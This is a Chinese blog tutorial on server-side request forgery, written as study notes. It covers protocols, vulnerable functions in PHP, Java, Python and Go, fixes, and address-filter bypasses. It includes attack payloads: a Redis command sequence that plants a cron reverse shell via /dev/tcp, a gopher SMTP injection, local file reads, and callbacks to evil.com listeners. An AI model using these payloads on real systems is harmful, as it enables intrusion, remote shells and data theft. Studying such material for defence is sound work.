apsry

去留无意,宠辱不惊

0%

SSRF入门

SSRF入门

写在前面:
这几天感觉自己的基础还是不够牢固,所以打算开个大坑,把web安全基础再复习下(希望能坚持下去,最近开的坑有点多,要学的太多了,越来越感觉自己菜了),顺便写点笔记留个学弟学妹,大一大二的时候挺担心自己退役学校CTF就直接消亡了,毕竟一手带我的学长们都是尽力的带我这个小白,现在到了自己变成学长了,感触还是挺多的,虽然大四了,也没有阻止没落这一趋势,但还是打算留点东西,给愿意学的学弟学妹。
吐槽下:
前几天和毕业的学长聊了下,发现一个尴尬的问题,愿意学的学生,不需要你教也会去学,不愿意学的好像我准备再多再详细的课程也没有用,希望走网络安全还是因为热爱,不忘初心吧,再说点别的就是把基础搞好点,在我看来,漏洞挖掘渗透内网虽然是经验一说,但经验这种东西,如果有一个人带你,你会很快拥有他,这个时候基础会决定你的上限。
写的有点乱,基本都是抄的,多总结,多复现就变成自己的了,能抄的补充的,为什么还要自己写呢0.0

SSRF简介

SSRF,Server-Side Request Forgery,服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统
漏洞成因
漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制
一点看法
ssrf也即伪造服务端对访问外部无法访问的系统,ssrf能打的东西比较多,只要能访问内网,协议支持,理论上把内网打穿也是可以的,所以近几年ssrf成了一个热点。

SSRF类型

1、Basic SSRF:返回结果到客户端,如传送一个网址,会返回这个网址的界面或对应的 html 代码,总之就是返回了结果
2、Blind SSRF:和上面正好相反,不会返回结果到客户端,简单分个类吧,和sql注入盲注类似。

  • _Boolean-Based:_无论资源是否存在,服务器的回应都是不同的
  • _Error-Based:_例如HTTP(404或500),指示资源是否存在
  • _Time-Based:_如果无论资源是否存在,服务器的响应都保持不变,响应时间可能会有很大差异。

    SSRF利用方式

    攻击者可以利用 SSRF 实现的攻击主要有 6 种:
  1. 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
  2. 攻击运行在内网或本地的应用程序(比如溢出)
  3. 对内网 WEB 应用进行指纹识别,通过访问默认文件实现
  4. 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
  5. 利用 file 等协议读取本地文件等
  6. 跳板攻击打内网,和前面意思差不多,不过拎出来下

SSRF协议介绍

一般来说可以通过ssrf利用一些协议对内网进行一些操作,首先要明确的一个点,对于不同语言实现的web系统可以使用的协议也存在不同的差异,而且相同语言,相同函数的不同版本,可利用的协议也是有区别的,这个得自己去探究。
这里介绍常用的几种协议
这里给出java,php的支持协议区别,可以看到基本上java是不支持gopher的,低版本我记得是支持的,总之java ssrf的扩展面相对会小一些

java,php的支持的协议

1
2
3
4
php:
httphttpsfile、gopher、phar、dict、ftp、ssh、telnet...
java:
httphttpsfileftp、jar、netdoc、mailto...

http://

不多说,基本都会

file://

这种URL Schema可以尝试从文件系统中获取文件:

1
2
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

如果该服务器阻止对外部站点发送HTTP请求,或启用了白名单防护机制,只需使用如下所示的URL 协议就可以绕过这些限制
image.png
可以理解下他们的区别,其实很多知识还是看有了经验以后看书理解的更快
file协议与http协议的区别

(1)file协议主要用于读取服务器本地文件,访问的是本地的静态资源
(2)http是访问本地的html文件,简单来说file只能静态读取,http可以动态解析
(3)http服务器可以开放端口,让他人通过http访问服务器资源,但file不可以
(4)file对应的类似http的协议是ftp协议(文件传输协议)
(5)file不能跨域

dict://

dict 协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,
能用来探测端口的指纹信息协议格式:dict://:/
一般用dict://:/info 探测端口应用信息
例如

1
2
3
4
5
6
7
http://example.com/ssrf.php?dict://evil.com:1337/ 
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0

dict://127.0.0.1:6379 //探测redis是否存活
dict://127.0.0.1:6379/info //探测端口应用信息

sftp://

在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。

1
2
3
4
http://example.com/ssrf.php?url=sftp://evil.com:1337/ 
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2

ldap://或ldaps:// 或ldapi://

LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

1
2
3
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

tftp://

TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。

1
2
3
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET 
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3

RESP协议

RESP 协议是 redis 服务之间数据传输的通信协议,redis 客户端和 redis 服务端之间通信会采取 RESP 协议
因此我们后续构造 payload 时也需要转换成 RESP 协议的格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
*1
$8
flushall
*3
$3
set
$1
1
$64

*/1 * * * * bash -i >& /dev/tcp/192.168.230.132/1234 0>&1

*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
quit

其中

1
2
*n代表着一条命令的开始,n 表示该条命令由 n 个字符串组成
$n代表着该字符串有 n 个字符

执行成功后服务器会返回 +OK,这个是 redis 服务器对 redis 客户端的响应

gopher://

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

1
2
3
4
5
http://example.com/ssrf.php?url=http://attacker.com/gopher.php

<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>
Copyevil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest

可以看看这篇文章,写的挺好的
利用 Gopher 协议拓展攻击面

系统局限性

经过测试发现 Gopher 的以下几点局限性:

  • 大部分 PHP 并不会开启 fopen 的 gopher wrapper
  • file_get_contents 的 gopher 协议不能 URLencode
  • file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
  • PHP 的 curl 默认不 follow 302 跳转
  • curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用

更多有待补充。
另外,并不限于 PHP 的 SSRF。当存在 XXE、ffmepg SSRF 等漏洞的时候,也可以进行利用。

更多攻击面

基于 TCP Stream 且不做交互的点都可以进行攻击利用,包括但不限于:

  • HTTP GET/POST
  • Redis
  • Memcache
  • SMTP
  • Telnet
  • 基于一个 TCP 包的 exploit
  • FTP(不能实现上传下载文件,但是在有回显的情况下可用于爆破内网 FTP)

更多有待补充。

常见例子

1
2
3
4
5
6
7
8
9
10
11
Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

SSRF常见的漏洞函数

php

基本都是调用curl

前置知识:php常用协议

伪协议 allow_url_fopen allow_url_incude 其他说明
php://input on/off on 在POST请求中访问POST的data部分,在enctype=”multipart/form-data” 的时候php://input 是无效的。
php://filter on/off on/off 常用与读取源码,读取内容经过Base64编码输出
file:// on/off on/off 读取本地文件
data:// on on 自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
http:// & https:// on on/off 发起http或者https请求
gopher:// on/off on/off 使用TCP的70端口,www之前的主流协议,支持发出GET、POST请求。使用要求为 PHP > v5.3, Java JDK < v1.7
dict:// on/off on/off

php ssrf常见函数

1
2
3
4
5
6
curl_exec()
file_get_contents()
fsockopen()
readfile()
fopen()
SoupClient

curl_exec()

可以看看这篇教程所说的
PHP cURL 函数 | 菜鸟教程
PHP支持的由Daniel Stenberg创建的libcurl库允许你与各种的服务器使用各种类型的协议进行连接和通讯。
libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。libcurl同时也支持HTTPS认证、HTTP POST、HTTP PUT、 FTP 上传(这个也能通过PHP的FTP扩展完成)、HTTP 基于表单的上传、代理、cookies和用户名+密码的认证。
PHP中使用cURL实现Get和Post请求的方法
这些函数在PHP 4.0.2中被引入。

1
curl_exec函数用于执行指定的cURL会话。 

举个例子,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
//初始化curl会话
$ch=curl_init($url);
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//// 抓取URL并把它传递给浏览器
$result=curl_exec($ch);
//关闭cURL资源,并且释放系统资源
curl_close($ch);
echo ($result);
?>

我们可以直接利用http协议
image.png
这里把简单的几种协议看看,后面就不一一看了,复杂的后面有写到利用
image.png
dict一般用法,探活
image.png

file_get_contents()

1
file_get_content函数从用户指定的url获取内容,然后指定一个文件名进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。

对于file_get_contents()函数,它是可以获取文件内容的,我们这里也简单举个栗子来介绍其利用方式

1
2
3
4
5
<?php
highlight_file(__FILE__);
$url = $_GET['url'];;
echo file_get_contents($url);
?>

image.png
一个绕过的tips
.php?jpg .php#jpg
浅析SSRF与文件读取的一些小特性 - 先知社区

fsockopen()

1
fsockopen — 打开一个网络连接或者一个Unix套接字连接
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
$host=$_GET['url'];
$fp = fsockopen("$host",80, $errno, $errstr,30);
if(!$fp){
echo "$errstr ($errno)
\n";
}else{
$out ="GET / HTTP/1.1\r\n";
$out .="Host: $host\r\n";
$out .="Connection: Close\r\n\r\n";
fwrite($fp, $out);
while(!feof($fp)){
echo fgets($fp,1024);
}
fclose($fp);
}
?>

fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限,传输原始数据。
显然socket是无法读取本地文件的,而且端口限制的话,利用起来就比较麻烦了,其实就是一个socket,理解socket的实现原理差不多就懂了
image.png

readfile()

1
readfile() :输出一个文件的内容。

这个利用起来就比较局限了
示例代码

1
2
3
4
5
<?php
highlight_file(__FILE__);
$host=$_GET['url'];
readfile($host);
?>

image.png

fopen()

1
fopen() :打开一个文件或者URL

示例

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
if (isset($_GET['url'])) {
$url = $_GET['url'];
$image = fopen($url, 'rb');
header("Content-Type: image/png");
fpassthru($image);
}
?>

image.png

image.png

SoupClient 类

这个就比较CTF了
SOAP是简单对象访问协议,简单对象访问协议(SOAP)是一种轻量的、简单的、基于XML的协议,它被设计成在 WEB 上交换结构化的和固化的信息。PHP 的 SoapClient 就是基于 SOAP 协议可专门用来访问 WEB 服务的 PHP 客户端。
SoapClient 是一个 php 的内置类,当其进行反序列化时,如果触发了该类中的__call方法,那么 __call 方法便可以发送 HTTP和HTTPS请求,该类的构造函数如下:

1
public SoapClient :: SoapClient(mixed $wsdl [,array $options])
  • 第一个参数用来指明是否时 wsdl 模式。
  • 第二个参数为一个数组,如果在 wsdl 模式下,此参数可选; 如果在非 wsdl 模式下,则必须设置 location 和 uri 选项,其中 location是要将请求发送到的SOAP服务器的 URL ,而 uri 是SOAP 服务的目标命名空间。

知道上述两个参数的含义之后,就很容易构造出 SSRF 的利用 payload 了。我们可以设置第一个参数为 null ,然后第二个参数为一个包含 location 和 uri 的数组,location 选项的值设置为 target_url :
首先测试下正常情况下的SoapClient类,调用一个不存在的函数,会去调用__call方法

1
2
3
4
5
6
<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://127.0.0.1:5555/path'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();

image.png
image.png
如上图所示,ssrf触发成功,就不复现了,基本上看了下面的文章差不多就懂了
由于它仅限于http/https协议,所以用处不是很大。但是如果这里的http头部还存在crlf漏洞,那么我们就可以进行ssrf+crlf,注入或修改一些http请求头,详情请看:
Session反序列化利用和SoapClient+crlf组合拳进行SSRF - 安全客,安全资讯平台
SoapClient反序列化SSRF

php关于ssrf的一些局限

  • 大部分 PHP 并不会开启 fopen 的 gopher wrapper
  • file_get_contents 的 gopher 协议不能 URLencode
  • file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
  • PHP 的 curl 默认不 follow 302 跳转
  • curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用

java

java网络请求支持的协议

由于Java没有php的cURL,所以Java SSRF支持的协议,不能像php使用curl -V查看。
Java网络请求支持的协议可通过下面几种方法检测:

从import sun.net.www.protocol可以看到,支持以下协议,jar协议比较有意思,不过利用起来感觉比较窄

1
file ftp mailto http https jar netdoc gopher

虽然看到有gopher,但是gopher实际在jdk8版本以后被阉割了,jdk7高版本虽然存在,但是需要设置,
具体可以看 https://bugzilla.redhat.com/show_bug.cgi?id=865541
以及http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/rev/8067bdeb4e31
其中每个协议都有一个Handle,Handle定义了这个协议如何去打开一个连接。

java ssrf常见的函数

基本上如果是URLConnection|URL发起的请求,那么对于上文中所提到的所有protocol都支持,但是如果经过二次包装或者其他的一些类发出的请求,一些带http名字的或者Request这种,一般只支持http/https协议,所以java的利用面一般还是比较狭隘的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
HttpURLConnection.getInputStream
URLConnection.getInputStream
Request.Get.execute
Request.Post.execute
URL.openStream
ImageIO.read
OkHttpClient.newCall.execute
HttpClients.execute
HttpClient.execute
om.alibaba.druid.util.HttpClientUtils
sun.net.www.http.HttpClient
javax.net.ssl.HttpsURLConnection
sun.net.www.protocol.http.HttpURLConnection
java.net.HttpURLConnection
javax.servlet.http.HttpServletRequest
java.net.URI
java.net.URLConnection
com.bea.uddiexplorer.Search
com.squareup.okhttp.Request
com.squareup.okhttp3.Request
org.apache.commons.httpclient.HttpMethodBase
org.apache.http.client.methods.HttpRequestBase

除了建立HTTP协议连接,还可能直接通过 Socket建立连接,因此应该同样关注Socket相关类:

1
2
3
4
5
6
7
8
AsynchronousServerSocketChannel.accept/bind
AsynchronousSocketChannel.write/read/bind/connect
ServerSocketChannel.bind
ServerSocket.accept/bind
Socket.bind/connect
Socket.getInputStream().read
Socket.getOutputStream().write
SocketChannel.bind/read/write/connect

总之
如果用以下类的方法发起请求,则支持sun.net.www.protocol所有协议

1
2
URLConnection
URL

其它的带http的只支持http/http协议
这里举几个例子
https://github.com/JoyChou93/java-sec-code
可以看看里面的分析
SSRF in JAVA - 贫民窟的艺术家
直接用这个大哥代码来举例了,直接配置就好了,配置看后面吧,这里可以直接看引用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import com.squareup.okhttp.OkHttpClient;
import org.apache.commons.httpclient.HttpClient;
import org.apache.commons.httpclient.methods.GetMethod;
import org.apache.commons.io.IOUtils;
import org.apache.http.HttpResponse;
import org.apache.http.client.fluent.Request;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.impl.nio.client.CloseableHttpAsyncClient;
import org.apache.http.impl.nio.client.HttpAsyncClients;
import org.apache.http.util.EntityUtils;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;

import javax.imageio.ImageIO;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URI;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.*;

URLConnection|URL

我们看看代码
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static String URLConnection(String url) {
try {
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
// BufferedReader in = new BufferedReader(new InputStreamReader(u.openConnection().getInputStream()));
String inputLine;
StringBuilder html = new StringBuilder();

while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
in.close();
return html.toString();
} catch (Exception e) {
logger.error(e.getMessage());
return e.getMessage();
}
}

可以看到,对于URLConnection来说是支持上述的协议的
image.png

HttpURLConnection

那么我们尝试HttpURLConnection看看,我们把实例代码改改

1
2
3
4
5
@RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET})
public String URLConnectionVuln(String url) {
return HttpUtils.HttpURLConnection(url);
}

重点在于HttpURLConnection conn = (HttpURLConnection) urlConnection做了强制转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static String HttpURLConnection(String url) {
try {
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
HttpURLConnection conn = (HttpURLConnection) urlConnection;
// Many HttpURLConnection methods can send http request, such as getResponseCode, getHeaderField
InputStream is = conn.getInputStream(); // send request
BufferedReader in = new BufferedReader(new InputStreamReader(is));
String inputLine;
StringBuilder html = new StringBuilder();

while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
in.close();
return html.toString();
} catch (IOException e) {
logger.error(e.getMessage());
return e.getMessage();
}
}

可以看到会报错,不支持file协议
image.png
http协议是支持的
image.png
也印证了前面我们的想法
想了下,每次改太麻烦了,这边直接依葫芦画瓢把接口添加上去即可

httpClient

1
2
3
4
@RequestMapping(value = "/httpClient/vuln", method = {RequestMethod.POST, RequestMethod.GET})
public String httpClientVuln(String url) {
return HttpUtils.httpClient(url);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static String httpClient(String url) {

StringBuilder result = new StringBuilder();

try {

CloseableHttpClient client = HttpClients.createDefault();
HttpGet httpGet = new HttpGet(url);
// set redirect enable false
// httpGet.setConfig(RequestConfig.custom().setRedirectsEnabled(false).build());
HttpResponse httpResponse = client.execute(httpGet); // send request
BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));

String line;
while ((line = rd.readLine()) != null) {
result.append(line);
}

return result.toString();

} catch (Exception e) {
return e.getMessage();
}
}

image.png

request

Request类对HttpClient进行了封装。类似Python的requests库。

1
2
3
4
@RequestMapping(value = "/request/vuln", method = {RequestMethod.POST, RequestMethod.GET})
public String requestVuln(String url) {
return HttpUtils.request(url);
}
1
2
3
4
5
6
7
public static String request(String url) {
try {
return Request.Get(url).execute().returnContent().toString();
} catch (Exception e) {
return e.getMessage();
}
}

image.png
image.png
感觉后面太多了,就不一一写了,简单测下就行了

openStream

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
@GetMapping("/openStream")
public void openStream(@RequestParam String url, HttpServletResponse response) throws IOException {
InputStream inputStream = null;
OutputStream outputStream = null;
try {
String downLoadImgFileName = WebUtils.getNameWithoutExtension(url) + "." + WebUtils.getFileExtension(url);
// download
response.setHeader("content-disposition", "attachment;fileName=" + downLoadImgFileName);

URL u = new URL(url);
int length;
byte[] bytes = new byte[1024];
inputStream = u.openStream(); // send request
outputStream = response.getOutputStream();
while ((length = inputStream.read(bytes)) > 0) {
outputStream.write(bytes, 0, length);
}

} catch (Exception e) {
logger.error(e.toString());
} finally {
if (inputStream != null) {
inputStream.close();
}
if (outputStream != null) {
outputStream.close();
}
}
}

imageIO

作者加了SecurityUtil.startSSRFHook(),对内网进行判断,这个后面会说一说。

1
2
3
4
5
6
7
8
9
public static void imageIO(String url) {
try {
URL u = new URL(url);
ImageIO.read(u); // send request
} catch (IOException e) {
logger.error(e.getMessage());
}

}

image.png
image.png

okhttp

1
2
3
4
5
6
public static String okhttp(String url) throws IOException {
OkHttpClient client = new OkHttpClient();
// client.setFollowRedirects(false);
com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
return client.newCall(ok_http).execute().body().string();
}

image.png

commonHttpClient

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static String commonHttpClient(String url) {

HttpClient client = new HttpClient();
GetMethod method = new GetMethod(url);

try {
client.executeMethod(method); // send request
byte[] resBody = method.getResponseBody();
return new String(resBody);

} catch (IOException e) {
return "Error: " + e.getMessage();
} finally {
// Release the connection.
method.releaseConnection();
}
}

image.png

Jsoup

1
2
3
4
5
6
7
8
9
10
11
12
13
public static String Jsoup(String url) {
try {
Document doc = Jsoup.connect(url)
//.followRedirects(false)
.timeout(3000)
.cookie("name", "joychou") // request cookies
.execute().parse();
return doc.outerHtml();
} catch (IOException e) {
return e.getMessage();
}
}

image.png

IOUtils

1
2
3
4
5
6
7
public static void IOUtils(String url) {
try {
IOUtils.toByteArray(URI.create(url));
} catch (IOException e) {
logger.error(e.getMessage());
}
}

image.png
image.png

HttpSyncClients

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static String HttpAsyncClients(String url) {
CloseableHttpAsyncClient httpclient = HttpAsyncClients.createDefault();
try {
httpclient.start();
final HttpGet request = new HttpGet(url);
Future<HttpResponse> future = httpclient.execute(request, null);
HttpResponse response = future.get(6000, TimeUnit.MILLISECONDS);
return EntityUtils.toString(response.getEntity());
} catch (Exception e) {
return e.getMessage();
} finally {
try {
httpclient.close();
} catch (Exception e) {
logger.error(e.getMessage());
}
}
}

image.png

1
2
3
4
5
6
7
8
9
10
11
/ssrf/urlConnection/vuln?url=file:///C:/Windows/win.ini  支持java协议
/ssrf/HttpURLConnection/vuln?url=http://127.0.0.1:80 只是支持http/https协议
/ssrf/httpClient/vuln?url=http://127.0.0.1:80
/ssrf/request/vuln?url=http://127.0.0.1:80
/ssrf/openStream?url=file:///C:/Windows/win.ini
/ssrf/ImageIO/sec?url=http://www.baidu.com
/ssrf/okhttp/sec?url=http://www.baidu.com
/ssrf/commonsHttpClient/sec?url=http://www.baidu.com
/ssrf/Jsoup/sec?url=http://www.baidu.com
/ssrf/IOUtils/sec?url=http://www.baidu.com
/ssrf/HttpSyncClients/vuln?url=http://www.baidu.com

后续函数

后面再说了,其实都差不多,主要是清楚危险函数,对入参做分析,当然危险函数不止上面那些

java关于ssrf的一些局限

  • 利用file协议读取文件内容(仅限使用URLConnection|URL发起的请求)
  • 利用http 进行内网web服务端口探测
  • 利用http 进行内网非web服务端口探测(如果将异常抛出来的情况下)
  • 利用http进行ntlmrelay攻击(仅限HttpURLConnection或者二次包装HttpURLConnection并未复写AuthenticationInfo方法的对象)
  • java默认是会302跳转 followRedirect
  • 实际跳转的url也在限制的协议内
  • 传入的url协议必须和重定向的url协议一致

python

Python开发中常用三种http请求方法(pycurl/urllib/requests)。

python ssrf注意的点

重定向
是否默认跟随重定向

  • pycurl(不跟随)
  • urllib/urllib2/requests(跟随)

默认最大重定向次数

  • pycurl(未限制)
  • urllib/urllib2(10次)
  • requests(30次)

风险点:使用pycurl开启跟随跳转之后,需手动限制最大跳转次数。

1
2
3
c = pycurl.Curl()
c.setopt(pycurl.FOLLOWLOCATION, 1)
c.setopt(pycurl.MAXREDIRS, 5)

协议支持

1
2
3
4
5
6
7
8
9
10
requests:
http/https/ftp


urllib/urllib2:
http/https/ftp/file/local_file


pycurl:
DICT, FILE, FTP, FTPS, Gopher, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMTP, SMTPS, Telnet and TFTP. libcurl supports SSL certificates, HTTP POST, HTTP PUT, FTP uploading, HTTP form based upload, proxies, cookies, user+password authentication (Basic, Digest, NTLM, Negotiate, Kerberos4), file transfer resume, http proxy tunneling and more!

风险点:未手动限定协议时可导致安全风险(如通过file://造成DoS)

requests

requests就不写了,清楚协议就懂了

urllib.urlopen

urllib2.urlopen
在Python中, urllib并不支持gopher,dict协议,所以按照常理来讲ssrf在python中的危害也应该不大,但是当SSRF遇到CRLF,奇妙的事情就发生了。这个CTF比较常见。

| CVE-2019-9740 (urllib/urllib2 CRLF) | urllib2 in Python 2.x through 2.7.16

urllib in Python 3.x through 3.7.3 |
| — | — |
| CVE-2019-9947 (urllib/urllib2 CRLF) | urllib2 in Python 2.x through 2.7.16
urllib in Python 3.x through 3.7.3 |

1
2
3
4
5
6
7
8
9
import sys
import urllib2
# host = "127.0.0.1:6379\r\nSET hacker 1111\r\n" # for redis
url = "http://127.0.0.1:80"
try:
info = urllib2.urlopen(url).read()
print(info)
except Exception as e:
print(e)

我这边直接测试SSRF
image.png

除开CRLF之外,urllib还有一个鲜有人知的漏洞CVE-2019-9948,该漏洞只影响urllib,范围在Python 2.x到2.7.16,这个版本间的urllib支持local_file/local-file协议,可以读取任意文件,如果file协议被禁止后,不妨试试这个协议来读取文件。

1
2
3
4
import urllib
host = "local_file:///C:/Windows/win.ini"
info = urllib.urlopen(host).read()
print(info)

image.png

记得国赛有道题patch就是把 urllib.urlopen改查request.get ….

pycurl

python2.7安装pycurl_Janebook的博客-CSDN博客

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import urllib
import pycurl


# pycurl
c = pycurl.Curl()
c.setopt(c.URL, 'file://C:/Windows/win.ini')
c.setopt(c.FOLLOWLOCATION, 1)
c.setopt(c.MAXREDIRS, 5)
c.setopt(c.CONNECTTIMEOUT, 60)
print(c.perform())
c.close()


image.png

python ssrf的修复
去hook下
https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html

go

go的例子很少很少,可以参考下腾讯的代码安全指南,同时也写了SSRF的修复,但毕竟是开发角度,能看的东西不多,重点关注net库。
secguide/Go安全指南.md at main · Tencent/secguide

  • 使用”net/http”下的方法http.Get(url)、http.Post(url, contentType, body)、http.Head(url)、http.PostForm(url, data)、http.Do(req)时,如变量值外部可控(指从参数中动态获取),应对请求目标进行严格的安全校验。
  • 如请求资源域名归属固定的范围,如只允许a.qq.com和b.qq.com,应做白名单限制。如不适用白名单,则推荐的校验逻辑步骤是:
    • 第 1 步、只允许HTTP或HTTPS协议
    • 第 2 步、解析目标URL,获取其HOST
    • 第 3 步、解析HOST,获取HOST指向的IP地址转换成Long型
    • 第 4 步、检查IP地址是否为内网IP,网段有:// 以RFC定义的专有网络为例,如有自定义私有网段亦应加入禁止访问列表。 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 127.0.0.0/8
    • 第 5 步、请求URL
    • 第 6 步、如有跳转,跳转后执行1,否则绑定经校验的ip和域名,对URL发起请求

net/http

  • 使用”net/http”下的方法http.Get(url)、http.Post(url, contentType, body)、http.Head(url)、http.PostForm(url, data)、http.Do(req)时,如变量值外部可控(指从参数中动态获取),应对请求目标进行严格的安全校验。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package main

import (
"fmt"
"io/ioutil"
"net/http"
)

func main() {
resp, err := http.Get("http://127.0.0.1")
if err != nil {
panic(err)
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
fmt.Println(string(body))
}

image.png

其他后面再补

go ssrf判断,修复
Go中的SSRF攻防战-技术圈

nodejs

后面再补,后面看看搞搞nodejs的代码审计,利用面比其他语言要小很多

SSRF常见绕过

一般修复最好是黑名单加白名单
这个看环境,一般来说不太需要绕,要么有漏洞,要么没有,正确修复SSRF,是不会有漏洞的。

本地回环地址的其他表现形式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
http://127.0.0.1
http://localhost
http://127.255.255.254 #CIDR 127.0.0.1 - 127.255.255.254
http://[::1]
http://[::ffff:7f00:1]
http://[::ffff:127.0.0.1]
http://127.1
http://127.0.1
http://0:80
http://0/ # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://0.0.0.0/ # 0.0.0.0这个IP地址表示整个网络,可以代表本机 ipv4 的所有地址
http://[0:0:0:0:0:ffff:127.0.0.1]/ # 在liunx下可用,window测试了下不行
http://[::]:80/ # 在liunx下可用,window测试了下不行
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向
::1
http://devd.io //以下域名均解析到127.0.0.1
https://localtest.me/
http://localhost.sec.qq.com/
